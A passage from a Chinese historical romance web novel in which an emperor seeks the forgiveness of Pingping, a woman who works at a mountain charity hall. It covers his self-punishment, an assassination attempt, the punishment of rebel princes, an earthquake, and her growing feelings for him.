夜风掠过，张安身上起鸡皮疙瘩。非礼勿视，他方才不是有意去窥萍娘子和柳大官人，但是瞧见了，就很紧迫，怕有些话真拖到高中就晚了 张安攥紧灯笼杆，有手汗蹭到竹杆上：“娘子聪慧情致，慈悲纯善，鄙人已悄然倾心，愿高中之日聘娘子为妻。” 萍萍敛笑，肃然回绝：“我对郎君无意。” 夜风依旧掠过，灯笼里的火苗跃动，张安极力再争取：“鄙人虽然眼下清贫，但来日——” “相信郎君来日定能高中，一展抱负！”萍萍打断他，“只是郎君非我倾心，‘兰之猗猗，扬扬其香。不采而佩，于兰何伤’。” 张安整个人都黯淡下来，十分难过，但萍娘子将他喻为兰草，想来又可以接受。 她不倾心自己，那倾心何人？ 他还是有些不甘，想知道自己输给了谁：“娘子倾心之人是柳大官人吗？” 萍萍被问得一怔。 自己还倾心柳湛吗？ 应该没有…… 以后，也许她还会重新敞开心扉，爱上别人，但很肯定再难像从前那样，至诚至性、浓烈绵长——因为飞蛾一生只扑一次火，义无反顾，翅身俱焚。 忽地，萍萍觉着侧边草丛里有什么东西晃了一下。 她随之扭头，难不成想什么来什么，是飞蛾？ 不对，飞蛾没那么大动静。 “萍娘子，你在瞧什么？”张安还没走，凑过来问。 萍萍想到他手上有灯笼，便道：“张安，你跟我去草丛那边瞧瞧，好像有动静。” “有吗？”张安并未有听到过，但还是依从萍萍，一道小心翼翼靠近草丛，甚至不由自主弓起背，将灯笼举高。 照清楚了，草丛里什么都没有，只开着几朵没晃的小花。 “你看错了。”张安笑道。 * 柳湛留了些随侍收拾桌椅并看护善堂，余下的随他下山。 青城县小驿正修缮，住不得人，一行人直奔灌州官驿。那人得了通传，房门一开，柳湛尚未跨进，她就跪地参拜陛下。 只是言语含糊不清，口中似含物，柳湛往桌上扫了一眼，除却一盘兔头差不多啃完，旁的饭菜都才动筷子。想来千里奔袭，应该赶了许久路，这会才填肚子。 柳湛便在允起身后多添一句：“辛苦了。” “不辛苦不辛苦，当年奴婢欠陛下一份情，这辈子都会报答陛下！” 柳湛抿了下唇：“兔头合口味？再上一盘？” “真的还能再上吗？” 她似乎不相信，柳湛脸上表情稍微严肃了些：“君无戏言。” “郎君！”外面随侍奏报，“姚帅臣闯关入城！” 姚拱辰如今入职枢密院，手握重兵，他不驻守京畿，奔来灌州做甚？ 柳湛自知疑人不用，却难免生擒王猜想，心沉下，面上同房内那人依然温和：“不耽误你用膳 了。今晚辛苦你一下，待会吃完就别睡了，随朕上山。” 柳湛说罢果决跨出房门，往馆外走，两袖生风，冷声询问：“姚拱辰带了多少兵马？” “单枪匹马。”随侍话音落地时，柳湛已经步至驿馆门口，亲眼瞧见姚拱辰一人一骑，从街尾疾驰，越来越近，马蹄急促，明月照影。 到近前急刹，驾雾高高扬起一对前蹄，姚拱辰勒缰正马头，胸口起伏轻喘，直到瞧见柳湛，神色一霎从焦急变作茫然：“陛下。” 柳湛川渟岳峙：“京中出事？” “无、无事。”姚拱辰嗫嚅。 “朝中生事？” “也、也无。” “那是你自己的事？”柳湛冷峻追问。 “臣也无事！”姚拱辰立马否认，勒缰调转马头，“臣魔怔了，这就归京。” “拱辰，”柳湛叫住姚拱辰，“你是不是为废后案而来？” 姚拱辰人在马上一滞，半晌如石塑，而后僵硬着扭转身子，人看向柳湛，勒缰的手和马头仍朝城门。 “臣——”他吞吞吐吐，“臣、臣只是……” 柳湛撩起眼皮，猜姚拱辰是想确认那一船人是否真的全部殒命：“废后阴毒，如诏所言。” 姚拱辰瞪大眼睛，一霎间悲痛绝望迷茫懊悔，逐一在脸上闪现，身微颤抖：“陛下……如何猜到臣要问这？” 柳湛启唇合唇，此刻百感交集：“因为你最后一回去扬州，朕也在船上。” * 翌日，萍萍一早去伙房，柳湛依旧亲手给她准备了早膳。 他竟然系了条合围，擦干净手上面粉，才给萍萍端上一笼热腾腾的笼灌浆馒头，这又叫汤汁包子，包馅时一并包入凝固汤冻。 萍萍低头又抬头，看他一眼，今日不是汤饼了。 “汽小心烫着，”柳湛边叮嘱边帮她挡了下，继而笑道，“想着接连几日皆是汤饼，怕你吃腻，换了口味。” 他隔空逐个指着解释：“这俩猪肉馅，这两个是虾肉，这个江鱼，你捡合口的吃。”说罢转身，又去灶上端来一碗汤汤水水，“要是都吃不惯，这里还有馄饨。” 萍萍扫了眼，是笋蕨馄饨，这个季节难得还囤有笋蕨。 她久不应声，柳湛扯了扯嘴角：“要是还想继续吃汤饼，我再去煮。” 柳湛说着朝灶台方向扭身子，站起。 “不用了。”萍萍阻拦，“这些我都吃不完。” 说着就当着柳湛的面，将那碗馄饨分给别的小娘子。 柳湛改站为蹲，伏低身子赔笑：“我头回学做，只怕不好吃。” “还好。”萍萍抽筷低头，要吃灌汤馒头，柳湛忍不住再叮嘱：“里头有汤汁，当心烫嘴。” 萍萍顿了下，回道：“多谢提醒。” 她难得额外多回，柳湛笑逐颜开，又觉今日要做的事有希望。 萍萍一开始吃那两只虾馅时尚未察觉，等吃到肉馅，就觉出不对劲了——伙房里的人怎么突然少去许多？除了她和柳湛，只剩下两位小娘子，连灶后面都没人了。 紧接着，那两小娘子也猫腰离开，走时频频往萍萍这边瞅，跨出门槛那一霎，改走为奔。 四随侍旋即进门，其中二人各端一木盘，另二人执杖。 吱呀一声，随侍将大门紧闭。 “你要做什么？”萍萍警觉，昂首质问柳湛。 柳湛心一痛，她觉得他会害她吗？ 这会真心口疼，却不敢流露，怕她又唤医婆加走人。 柳湛努力扬高嘴角，维持笑意：“萍萍，我以后再也不会伤你。” 他分腿撩起袍子，又掀里衣，露出纵横交错，狰狞满腹的疤痕：“分别两年，我每念你一回，就在这上面划一刀。” 随侍将木盘中的两碗汤药逐一放到桌上，里面各有各的黑乎乎。柳湛盯着萍萍的脸道：“一碗附子，一碗避子，我加了量，都和你饮下相当。”柳湛抬手端碗，萍萍还没反应过来他就喝光那碗附子熬的汤药，接着又要喝避子汤，还道：“欠你的板子稍候便打。” “够了。”萍萍抬手抓碗，一碗汤药洒出大半。 “都不用！”自重逢后，她眼角第1回 泛起红潮，“你以为这样做我就会原谅你吗？” 萍萍哽咽。 柳湛目不转睛看着她，表情始终肃穆：“你自然不会原谅我。”他坚定道，“因为我做得还不够。” 柳湛两臂垂回膝上，微微转身：“我还欠你一个人。” 二随侍打开对开的大门，夕照从门外亮处走进来，和一束阳光一起跨进伙房。 第112章 第一百一十二章 不可为也，不可执也。…… 萍萍愣了会， 猛地坐起，朝门口奔去。 夕照见她如此反应，也立马淌下眼泪， 二人展臂相拥， 紧紧箍着， 都有点透不过气，但心里却无比高兴，还想再搂紧些。 良久才分开。 “夕照， 真的是你？”萍萍掐一把大腿， 疼的，却仍怕是梦中， 抬手还想摸夕照的脸，手才刚抬起，夕照就一把抓起萍萍的手，主动摁到自己脸上，掌贴着颊：“我现在不叫夕照，叫回苔花儿啦。” “苔花儿，你怎么会……”萍萍没继续问下去， 凝视夕照笑了会， 改口， “真好。” 夕照记得自个任务， 将话，且都是好话引到柳湛身上：“当年多亏了陛下，既允我亲手报仇， 又保全我性命。” 当年对外宣称她被棰杀，但先皇无力，如今的官家， 彼时的太子一手遮天，那重杖不曾有一棒打到夕照身上。她好吃好喝，坐着马车出宫又出京。 萍萍沉默须臾，再开口，另起了话头：“你这些年过得怎样？” 她冲夕照笑一笑，扭头再看向柳湛时，笑就敛了些，续问，“住在哪里？都做什么？” 柳湛旋即会意，锁住萍萍双目，沉声笃定：“我没行监坐守。” 他真没派人跟踪夕照，这会找夕照，亦寻许久。 柳湛一念忽转：没有跟踪，那萍萍会不会责他没继续保护夕照？ 这么一想，心慌得乱了一拍。 也不知道从什么时候开始，柳湛做任何关于她的事，接触任何她在乎的人，都会患得患失，想她一切都好，又唯恐自己做得不对，令她失望。 夕照听得柳湛言语，忙帮着解释：“陛下没有拘着我啦……出了京，他就放我海阔鱼跃，天高鸟飞了！” 夕照说时暗暗感叹，官家在萍萍面前竟然不自称朕：“我这几年天涯海角，四处乱逛！” “我也是！”萍萍眼睛一亮。 夕照笑道：“我离京先去了姚司膳总提的寿春，然后沿路下了你说的江南……”到这夕照卡了下，“江南美是美，就是吃不太惯。” 萍萍一笑，很高兴夕照经历许多后，还愿意在她面前实话实话。 夕照不察，续道：“还不如灌州呢，这儿对味。对了，灌州的兔头你尝过没有？” “尝了——”萍萍笑，“我猜你肯定爱吃。” 夕照挠挠脑袋：“反正我是头回入蜀，这么一说，要不在这先玩半年？” 她有股冲动想邀萍萍同游，但同时清楚，官家不会应允，所以邀请的话还没从肚腹提上喉管，就夭 折。 “那你就从灌州往下玩……”身为过来人的萍萍给夕照规划起路线。 柳湛在旁沉默且贪婪地注视着一切，如果自己和萍萍的重逢也这样千欢万喜，无话不说，该多好。 萍萍自觉没有笔纸，比划不清：“唉，要不我干脆和你一起去吧？” “那怎么成！”夕照尖嗓，“你还要陪陛下回宫的！” 萍萍身上一冷，须臾反问：“我为什么要和他回宫？” “陛下找了你这么久也等了这么久……”夕照终于觉出不对劲了，声音越讲越小，“总要守得云开见月明，你说是不是？” 方才说那句海阔鱼跃时，她就忆起自家娘子的教授，但仅一带而过。这会气氛低迷，心绪就受到感染，阴沉沉，一句月明禁不住来来回回追忆。 夕照合上唇，也没了笑。 萍萍不知如何接话，与夕照两厢沉默。 柳湛睹着萍萍的表情越来越不对，心渐紧缩。 片刻后，萍萍侧首看向柳湛，他心又被拽着一揪，急嗓声干：“我不是要挟恩图报。” 他觉得有必要解释，没想过要挟她，更不希望她有负担，最重要的，他和她之间，他求的不是恩情，不是偿还！ 萍萍再次陷入沉默，事实上她始终没再开口——此刻，竟不知道自己该说什么，莫名心烦意乱。 良久，柳湛难得逮到一回对视，立马扯嘴角一笑，无声询问：那你会和我回去吗？ 萍萍眼皮直眨，避开对视。 她不会回去的。 她的行动给予了答案，柳湛一颗心沉沉下坠。他苦笑，嗓和鼻都发酸：自己做得还是不够，对吗？ 萍萍睹见柳湛神色，愈发烦躁，像胸腔里有一堆乱麻，必须限时解开，却越扯越乱，怎么也理不清。 她已经意识到这两天原本平静的心变得容易激动。 她有些逃避这变化，撩眼皮瞪向柳湛：“你为什么总是要在我眼前出现？”她声音恨恨，“己所不欲，勿施于人！” 柳湛愣怔，分唇。 他突然想起之前争天下时，思忖过的一段话：“将欲取天下而为之，吾见其不得已，天下神器，不可为也，不可执也。为者败之，执者失之。” 强求天下，是行不通的。 你想要将天下攥在手里，刻意去占有，去束缚和掌控，最终往往注定失败。 这是老子的无为。 彼时柳湛嗤之以鼻，此刻却若棒喝，由天下推及情爱——越刻意强求，她就退得越远。 也许这世间所有事，都不可执相，不可强求。 她有她自己的意志，她不情愿，攥得再紧也会像沙子一样从指缝滑走。 柳湛起身，黯然神伤。 他不愿最后留在她心里的形象，只剩追着乞着，苦苦相逼。于是转身拖着步子往门口走。 三、两步，忍不住最后一次回首：“萍萍。” 萍萍还在心烦意乱，既觉得方才话说重了，又开不了口道歉。 柳湛见她一直垂首，头都不肯抬下，笑了笑：“君当如月妾如星。”他摇首，“其实你不是星辰，是赤日。” 她说得对，他也不是月亮，他是草木大地，凡夫俗子，皎月可以无星，但草木和人都离不开太阳。 一旦没了太阳，就活不下去。 不管萍萍看没看他，听没听进去，柳湛觉得说出这句话，都了无遗憾了，他看向桌上：“灌汤冷了就别吃了，泼了吧。” 说罢掉头而去。 随侍们得了命令，随官家下山，虽然沿路官家面无表情，他们却觉满脸皆是哀戚，伤痛欲绝。 一行人正沿山腰石阶下山，忽然左右射来近百飞箭，两厢夹击，湛蓝淬毒，嗖嗖作响。 前方路亦被毁，地上突然多出数十吐芯毒蛇并毒虫。 “护驾！” “保护郎君！” 随侍们拔刀拨箭，护着柳湛退进竹林，一只被削尖的竹笼从天而降。 “郎君闪避！”随侍们提醒柳湛左躲，柳湛却比他们反应更快往右纵身，翻腕袖旋，不仅躲过竹笼，手中薄剑还砍断机关。 见随侍大多往左，柳湛蹙眉：“当心地陷！” 天罗地网往往成套为机关。 往左落的随侍们刚一触地，地就塌陷，现出里面挖空的尖竹坑。 随侍们脚跟不敢落，脚尖上一点，再次跃起，有两个功夫差些的迟反应，被竹扎穿了腿。其余随侍立即营救二人，柳湛却突然记起扬州那一船人，害怕极了。 “不要管这里，你们速去善堂！”他吼道，“快去，都去！” 机关已破，又跃出一拨蒙面刺客，柳湛剑舞梨花，口中再叮嘱：“别让他们知道，把每一个人都暗中护好了……” “可是郎君您——” 柳湛眼见着随侍们只去了一部分，还有一部分踟蹰仍留他身边，柳湛怒道：“听见没有？去善堂！” 他伸臂，抢在随侍前面挡下一击，表明自己一个人也能应付：“如有违令，便是抗旨不遵！” 余下随侍这才咬牙应喏，运气轻功往山上赶。 柳湛心慌乱跳，并非畏惧眼前刺客，只怕扬州之事重蹈覆辙。 他一人独战十余刺客，二、三十回合便试出破绽，剑往回一勾再一刺，就破了阵。刺客们四散后退，武功高的尚能持剑抵御，武功低的，倒的倒，跪的跪。 柳湛迅雷不及掩耳之势飞向一名跪地被打落兵刃的刺客，不容看清就剑横脖颈：“说，谁派你来的？” 刺客闻言就要脖颈撞剑，柳湛挥臂让剑，刺客身子抖了下，下一刹如张纸软趴趴躺下去——这情形柳湛甚熟，是刺客服毒自绝。 柳湛剑尖一转，挑开刺客面巾，面容已被炭烧毁。 见是死士，他再不留活口，一顺转过，削竹砍笋般逐个削掉脑袋。 柳湛出手向来果决、干净，斩草必除根，这回却在剩下最后一名刺客时，陡地停手，整个人定住。 之前喝的那一碗剂量过大的附子汤发作了，手脚麻痹，他腕一抖，剑脱手坠地。 哐当一声成了提醒刺客的号角，那刺客从地上爬起，捡起一截断竹，抱着朝柳湛冲去。 柳湛耳闻目睹，身却不听使唤，艰难移步，还是躲得慢了，虽未刺中心脏，仍偏刺入左肩胛骨下。 刺客存了同归于尽之志，尖竹如锥几将肉刺穿，刺客脱手后那截断竹就如飞镖，定在柳湛身上。 刺客见一击没有杀死柳湛，蹲下去找刀再砍。千钧一发之际，柳湛终于找回了对身体的控制，一面后仰躲避刀砍，一面咬牙忍痛，拔出断竹，掉转被血染红的尖头，狠狠朝刺客刺去，毫不犹豫将其脖颈捅穿。 终于，都杀尽了。 他脱力，收不住后仰力道，整个人倒栽跌进身后瀑潭。 半晌，两只血淋淋的手先伸出来，扒上潭边泥地，紧紧抠着。接着，柳湛撑臂，自己从潭中爬出来。 他眯着眼，翘起嘴角冷笑——就算受伤，就算服毒，也自信可以撑住，爬也要爬回善堂，亲眼见到萍萍安全。 下一霎，柳湛晕厥潭边。 * 山上，善堂。 柳湛并一众内侍撤离后，伙房内分外安静。 夕照缩肩沉默半晌，撅起嘴，声细如蚊：“银照，你可能伤陛下的心了。” 话亦像蚊子在萍萍心上叮了一口，她听着哪哪难受，不舒服。 其实自己也觉得刚才话说太重，低头，死盯余下的灌汤馒头。 “你吃吧，我上山前吃饱了。”夕照道。 萍萍似乎是不想扫夕照的兴，才低头拾筷，将余下的灌汤馒头一个一个，全部吃完。 不带偏见地讲，哪怕汤汁凉了，也非常好吃。 “挺好吃的。”她呢喃。 “这话你该在陛下在的时候讲啊！”夕照拍大腿，又说没事，陛下还会再来，到时候再说给他听。 可一整天，柳湛都没再出现，没忙于灶台，没帮忙打扫，也没和 大伙坐树下谈天说地，打成一片。善堂里最打眼的柳大官人，今日竟哪哪都找不见。 “陛下被你伤着了，得缓缓，”夕照同萍萍唏嘘，“估计得几日，养好了脸皮和心，才会重新上山。” 真是这样吗？萍萍蹙眉，四下张望，房顶屋后，树丛石壁都扫了扫，看有没有藏着柳湛的随侍。 第113章 第一百一十三章 孤家寡人 萍萍没找见一个随侍。 但她并没放心下来， 反而灵机一动，抚了下夕照手背：“你先忙着，我去喝口水。” 夕照不疑， 点头让她快去， 萍萍却没有回房， 反而沿着石阶下山。 她逮着身后窸窸窣窣声音，迅速回头。 空无一人。 萍萍歪头倾身等了会，一只螳螂从她眼前跳过， 跃进草丛。 萍萍回身， 接着往下山走。 过了会，还是觉着有人跟踪， 甚至那人都绕到她前面去了，似要阻拦下山。 萍萍心里有了判断后，驻足不再等待，径直呼唤：“有人吗？”她笑问，“不知是哪位大官人？” 片刻，从树林里挪出来两名内侍，你看我我看你， 十分踟蹰。 萍萍拜道：“见过二位大官人。” “萍娘子切莫这样称呼， 卑职们惶恐。”随侍急忙回， 又道， “尾随失礼，还请萍娘子别见怪。” “哪里哪里，”萍萍笑道， “你们都跑到我前面去了，哪里是尾随呢？”她笑淡了些，“下面是出了什么事吗？” 二随侍一个唇粘起， 另一个道：“萍娘子，您还是回去善堂吧。” 萍萍敛笑：“你家郎君现在何处？我要见他。” 两个闷葫芦，石头人，不回话。 “你们不说我就接着下山了！”萍萍迈大步径直从二随侍旁边擦身，随侍急阻：“萍娘子留步！” 但仍嗫嗫嚅嚅，萍萍遂朝二随侍深鞠一躬：“我向二位保证，绝不会告诉你家郎君是你们告诉我的，还请如实告知。” 随侍们还忙礼，将遇险之事逐一道来。 萍萍越听越急：怎么不早说！ 但事已至此，眼下最要紧的不是苛责随侍，而是确保山上众人和柳湛安全。萍萍自己做主，告知堂主，继而通报普照寺，和山上的庙宇，山宿都通气，互相照应。 普照寺派了武僧来帮忙，善堂里的小娘子婆子也不全仪仗他人，自己随身携带起剪子菜刀，实在不行锅铲擀面棍，定要捡一件武器防身。 萍萍自己则在交待后，就急急抽调七、八随侍，要去寻柳湛。 随侍哪里会允：“郎君若知萍娘子涉险，定会怪罪我们。您不要去，我们去寻就行。” “这山上你们不熟，我熟。”萍萍坚持。 随侍便道：“可以差个师父和我们一起去。” “是啊，我们也熟这上山下山，十八条道。萍娘子你就在堂里等消息吧，”“武僧附和，双手合十，“佛祖保佑，柳施主定会逢凶化吉。” 萍萍却还是坚持，谁劝都不听，没奈何，随侍们只得允她跟着一道去找。 萍萍原先被护在队伍中间，渐渐的，她就走到前面领路，从石阶穿进竹林，下坡陡，她脚下明显变快，随侍担心她摔着，急忙前赶准备扶，萍萍却先一步抓住一棵翠竹，自己稳住。 数颗石子往下滚。 林子里的竹子倒的倒，断的断，满地的打斗痕迹，地下还有机关，萍萍看得眉心直跳。 “我们往那边寻。”萍萍一指右侧，没察觉自己破了音。 随侍们却察言观色，为首那人快步赶至萍萍身边：“萍娘子，您不用太担心郎君，他武功冠绝，且吉人天相，定然不会有事，估摸已经解决完那帮歹人。” 萍萍旋即扭头反问：“如果没事，他怎么这么久都不回来善堂？” 随侍哑口：当时伙房里，不是您不让官家在您面前晃吗？ 因为沿途寻找时，官家曾多次孤身离队，所以随侍们并不觉稀奇，皆以为官家不回善堂，是避让萍娘子，依从她的心愿。 竹林越往深走越黑，萍萍回头急问：“你们有没有带火折子？” 随侍们唰唰全点起来，同时递给萍萍一根，她举着火把慢慢走，眼睛上下左右扫，不放过任何一个角落，恍觉青竹表面也浸出冷汗。 还未至潭边，就听瀑布湍急，再走近，那岸边黑黢黢一个人。柳湛穿的是白袍子啊，萍萍想着心一沉，蹲下来细照，发现他的袍子红了，清潭里也全是血水，她心中顿时翻江倒海。 随侍们蜂拥围来，处理伤口，包扎，并往柳湛嘴里喂了颗丹药。柳湛悠悠转醒，将一睁开眼，萍萍就激动质问：“难道你不知道人死了就什么都没了吗？” 她吼完了，犹扯着喉咙，紧紧盯着他。 随侍在旁轻声向柳湛解释：“郎君，萍娘子牵挂您，说什么都要来寻。” 萍萍一愣，自己一路的揪心和激动，是因为牵挂柳湛吗？ 武僧就在这时上前告知柳湛近日寺里和山舍久住的住客情况，并允诺待会回善堂，奉上详细。 萍萍见状，也赶紧告知：“昨晚上善堂附近的草丛，也有异动。” 柳湛闻言，望着她笑，轻喘一声。 火折子照得他忽明忽暗，脸色苍白，之前西子捧心萍萍不为所动，这会却心冷不丁抽了一下。 “多谢诸位，我心里有数了。”柳湛虚弱的声音像无脚云，天上飘。 随侍们最初打算将柳湛搬回善堂，他一听脸色更白，眼眺着萍萍启唇：“不用，我自己走。” “那哪行？眼下郎君如何走得！”随侍们不允。两厢僵持，随侍们退让一步，改搬为驮。那随侍都已经蹲下了，柳湛就是不上去，一脸愠色，坚持要自己走。听得武僧都双掌合十：“阿弥陀佛——” 萍萍已经猜到原因，咬牙回首，瞪他一眼：“你不要逞强。” 柳湛耳根偷红，轻声吩咐随侍：“你们搀着我。” 两名随侍一左一右，肩驮住柳湛手臂，将他搀回善堂。 大伙将就柳湛，都走得极慢，萍萍原先在柳湛前面领路，总觉得背上灼热，慢慢就落到他后面。 柳湛能听见她的呼吸吐纳，知道她一直跟在身后，默默笑浓。 到了善堂自有随侍照料柳湛，再不济还有医婆，但不知怎地，总有人托萍萍往柳湛的厢房里送东西。 隔三差五，去着去着，有一回房中没有第三人，柳湛又刚好在换药——他单手往左肩上缠绕纱布，因为不方便而缓慢、笨拙，动右臂时应该也扯动左肋伤口，柳湛脸色恍白，唇裂渗汗，却低头专注，不曾央求萍萍一个字，甚至连看都没看她一眼。 萍萍等了会，不见随侍进来帮忙，心底叹了口气：“我来帮你吧。” “不用。”柳湛果断拒绝，反倒是萍萍怔了一下。 他手上快了些，却怎么也打不好最后那个收尾的结。 “还是我来吧。”萍萍走近，没有坐上床沿，扭着身子空出一段距离帮他打结——纵然如此，还是离得太近，两个人都能听见对方的呼吸声，柳湛的脸越来越烫，忍不住用余光偷瞥萍萍，刚好瞧见她脸上汗毛，他心一慌，做贼般飞快收回目光。 萍萍这边，则是不由自主想起当年在画舫上照顾柳湛的情形。 也是这样，平时房内里能嗅到淡淡的血腥味，一拆开纱布，腥味就骤然浓烈数十倍，迅速弥漫。 她想起那些趴床沿短眠的日子，想起二人的相互依偎，床头絮语，心里竟生暖意。 萍萍赶紧抑下暖意，试图驱散回忆，它们却像水上的浮标，摁下去，又浮上来，再摁下，再浮起…… 萍萍心虚，之后再有人托她送东西，她都借故推辞，哪怕夕照急着将托盘往她手里一塞：“帮我送去郎君房里，人有三急，我不行了！” 她也只道：“我在这里等你回来你去送！” 然后竟真等在原地，将托盘原封不动还给夕照。 这事自然传回柳湛耳中，他沉默良 久，低低开口：“知道了。” “那郎君——” “回宫吧。”柳湛轻道，本来就答应了不再出现在她眼前，如果不是出了这档子事，不会返回善堂。 柳湛伤刚好一点，就下山回京，临行留了一半多的随侍并通知州府，保卫善堂，同时还命人将毁坏的山路、竹林逐一修缮。 回去既处理刺君一案，柳湛手段雷厉，不出一月便查清真相——七大王柳沛已知晓昔年太后毒害之事，心生怨恨，暗中派人跟踪姚拱辰，寻得柳湛落脚处，布天罗地网，欲取而代之。 而告知柳沛真相的，是一位曾经侍奉过先帝的内侍，追查深挖，这内侍竟由八大王的母家举荐入宫。 八大王今年才八岁。 柳湛查清一切时，既没有冷笑，也没有愤怒、震惊，亦或悲凉，这一刻竟平静得没有任何情绪。 然后不紧不慢下诏，赐死柳沛于内省，贬为庶人，国除。 八大王废为庶人，流放雷州。 本来这不关九大王的事，九大王却在府中惶惧自杀。 柳湛收到消息那夜，一封急报亦从江陵传回，呈进寝殿——八大王还未到雷州就不慎跌足落水，溺亡。 “都退下吧。”柳湛将急报叠摞在九大王那张讣告上。 此时此刻，他心里不自觉想起的，竟是柳沛。 柳沛行刑时，柳湛在阁中远眺监斩，确保他人头落地。 再之前，柳湛拒绝了柳沛临刑前的面圣请求。 他没有召见这位弟弟，给予兄弟详谈的机会。 谈什么呢？他想。那个每回都粘在自己身后的小尾巴，马尾摇来晃去的少年，是不是会满腔愤慨质问，六哥哥缘何心狠至此？ 要真面对这一句他怎么回呢？ 难不成他说，阿七，朕亦待你不薄。 “陛下。”一声娇滴滴的女声，唤回柳湛神思。他这才发现，有一位宫人竟未退出寝殿，反而走来他身旁。 她眼口鼻都生得精绝，未化妆便已是绝色，身段亦凸凹曲致，是一等一的尤物。 柳湛不动声色：“你是哪个宫的？” “回陛下，奴就是福宁宫添香的司寝。”宫人声音婉转，寻常作答在她口中似咒语，惑人去用指腹蹂躏她的水润朱唇。 “来人！”柳湛沉声下令，很快召来禁卫，由蒋望回负责，彻查绝色佳人。 通宵一夜就查清——工部尚书见官家后宫空置，动了歪心，遍访天下寻来这名美人，献进司寝司，那香里亦加料。 “朕真是给你们胆子了！”柳湛掌在桌上重重一拍。继任之初，就有不少官员奏请立后纳妃，延绵皇嗣，为社稷之福，为天下己任，皆被柳湛一一驳回。官家在这事上严词厉色，坚决又铁血，渐渐声音小了，再无人议。 这会竟野火烧不尽，春风吹又生。 柳湛气笑。 然而这尚书的理由却不同：“不知陛下可曾耳闻过某些……某些有损陛下天颜的谣言？” 柳湛脸一沉，明白了——最近宫里宫外，是有一小撮人在传他不行。 还是待这些人太宽容。 尚书举臂直身，又伏地磕头，额头撞击地面的声音响亮：“陛下春秋鼎盛，本来只要幸了这女，谣言就不攻自破啊！” 良久，柳湛缓缓回应：“李尚书，人皆有欲，贵在律己。” 他重罚了添香案一干人等，以儆效尤。 禁卫们将尚书押下，蒋望回最后离开寝殿，回看一眼柳湛，默默带上殿门。 柳湛杜坐在龙椅上，微往左歪身，两腿分开弓起，这官家的寝殿封闭远甚东宫，连扇望月的窗子都没有，只能瞧着将殿内照透亮的煌煌长明灯。 柳湛勾唇讥笑，这才是真正的孤家寡人。 他身上仍披着一个时辰半前接到急报，急起披上的龙袍。 想来离天亮也没多久，柳湛索性不再就寝，传了内侍，研墨提笔，批起奏折，他看报说灌州遇着小震，心头一紧，屏息一个字一个字往下看，看到无人员伤亡，松了口气。 柳湛疾笔，拨款灌州赈灾。 想了想，又额外下了条驰援善堂的密令，封在信里送出去。 第114章 第一百一十四章 晨钟暮鼓，打破了无限…… * 山摇屋晃， 萍萍眼睁睁看见桌上烛台倾倒，她愣了一霎，没扶烛台， 而是毫不犹豫冲出屋外。 外头旷地上已经聚了不少人， 堂主瞧见萍萍， 立马唤道：“萍萍，来帮忙！” 她帮着照料孩童，眼见溪水荡出， 房屋裂缝， 万幸无人压杀。 待晃动平复，所有人都先下山， 暂居在青城县临时搭起的布棚里。 发放完被褥，终于得闲，萍萍脑子里突然冒出柳湛遇震下山的画面，竟还是她搀扶他下去的——因为他受伤了，不方便跑。 见鬼了，柳湛明明已经回京了，伤也好得差不多， 她却瞎想一些不可能发生的事情。 “萍萍！”堂主在远处呼唤。 “来了！”萍萍撑手站起， 一路小跑到堂主身边， 原来是让她帮忙施粥。 萍萍二话不说应下， 和另一位小娘子分工合作，小娘子吆喝、维持秩序，萍萍负责在桶后舀粥、分粥。 大家让小童们排在前面， 人小木桶高，小童踮脚高高举碗，仍够不着， 萍萍赶忙舀起满满一勺，从桶后的台阶上绕下来，猫腰将粥盛进小童碗里。 堂主在旁和青城县的主薄交涉，一心二用，眼瞥见萍萍，不由漾笑，他爱吩咐她，就是因为她做事放心、省心。 之后，众人在布棚住了一个多月，等损坏的善堂修好，就重搬回山上。 夕照没按原计划游历，跟着萍萍回了善堂，她在正堂伫了须臾，跑出去，仰头打量，接着又跑进来：“银照，我上回来的善堂，是这个样子吗？” 怎么觉得变高大宽敞了？还有这桌椅板凳，怎么觉得木头都不一样了，好像全换了？ 夕照怕是自己来得少，记错了。 “你没看错，就是都变了。”萍萍敛笑，房屋翻新重修，家具换了黄花梨，耗资不菲。 正好堂主领着一队差役进来，萍萍快步迎上去：“堂主，屋子是县衙给我们修的吗？” 堂主一愣，这不是大伙都晓得的事吗？ 虽然知县大人这回过于恩慈，但这是好事。 “是啊。”堂主简短回答完萍萍，就继续招呼那帮差役：“唉、唉，箱子放这里，放这就行，辛苦各位官爷了！” 萍萍脖子随箱子移动，她看了下，有米面油、布匹，还有一箱药物——不是药材，是装在瓷瓶里炼好的丸药。 “这些也是县衙送的？”话音刚落，外面就响起轰轰叫声，萍萍回首一眺，官府竟还将十数头猪、牛、羊赶上山。 萍萍呆立。 “唉，小心！”旁边有孩童毽子踢偏，眼看就要打到萍萍身上，夕照扒了萍萍一下，她才回神。 萍萍抬首，绿色的银杏叶间有一小撮漏洞，太阳光从中照下来，射出数刀橙红光芒。萍萍盯着中间那个明亮的白点久了，渐渐恍惚，觉白点无限放大，吞没了银杏树也吞没了周遭的人并声音，白光里竟然现出柳湛的背影。 柳湛喜好穿白，这次她幻觉里他却着玄青圆领袍，头戴星簪，回首一顾。 …… 郊道上，柳湛与一众随侍皆着黑衣，风驰电掣，广袖与尘土一齐扬起。 他还是放心不下萍萍，决意去趟灌州。 “驾！”柳湛正策马扬鞭，却不知怎地，抿唇凝目，抬头望了眼天上太阳。 …… “萍萍。” “萍萍。” 萍萍恍觉白光里的柳湛在唤她。 被拽着晃了下，才发现是夕照唤人连带拉扯。 夕照见萍萍一直仰面望天，起初担心她淌鼻血，继而发现是走神。 “想什么呢？发这么久呆？”夕照追问。 萍萍脸一热，冲夕照心虚笑了下，还好夕照不察。 近一个月后，她又一次梦到了柳湛。 梦里，他就站在她床边，萍萍始终没有梦到柳湛的表情 ，但能听见他略微混乱的呼吸和轻微的衣料摩挲声。 几近真实。 寅时，萍萍晨醒，迷糊了会，便将此事抛掷脑后。 白日里照常忙活，直到她在花房除草时，整个人突然定住，手攥着草，双唇微分：他不会真来过吧？！ 萍萍猛地揪下一撮草，倘若草能人言，此刻定大叫一声痛。 萍萍暂搁下手中活计，飞也似跑回卧房，看圆凳，没被挪动过，瞧桌上的壶盏，没人喝过水，窗户是她自己早上开的，萍萍努力回忆没打开前的窗户…… 不放过蛛丝马迹，脑海和肉眼却始终寻不见一星半点柳湛来过的痕迹。 她之前骤然提起的心，缓缓落回心底草地，坠地无声，唯有春草蔓生。 之后数月，萍萍害了回伤风，小毛病，一两日就好了。之后也是将近一个月，进入伏天，床榻上铺起凉席的第一日，她第二次梦到了柳湛。 这回不仅有呼吸和摩挲衣料，还多了一只蚊子，绕着她的脸飞，撩起轻风，但就是不叮她的脸。 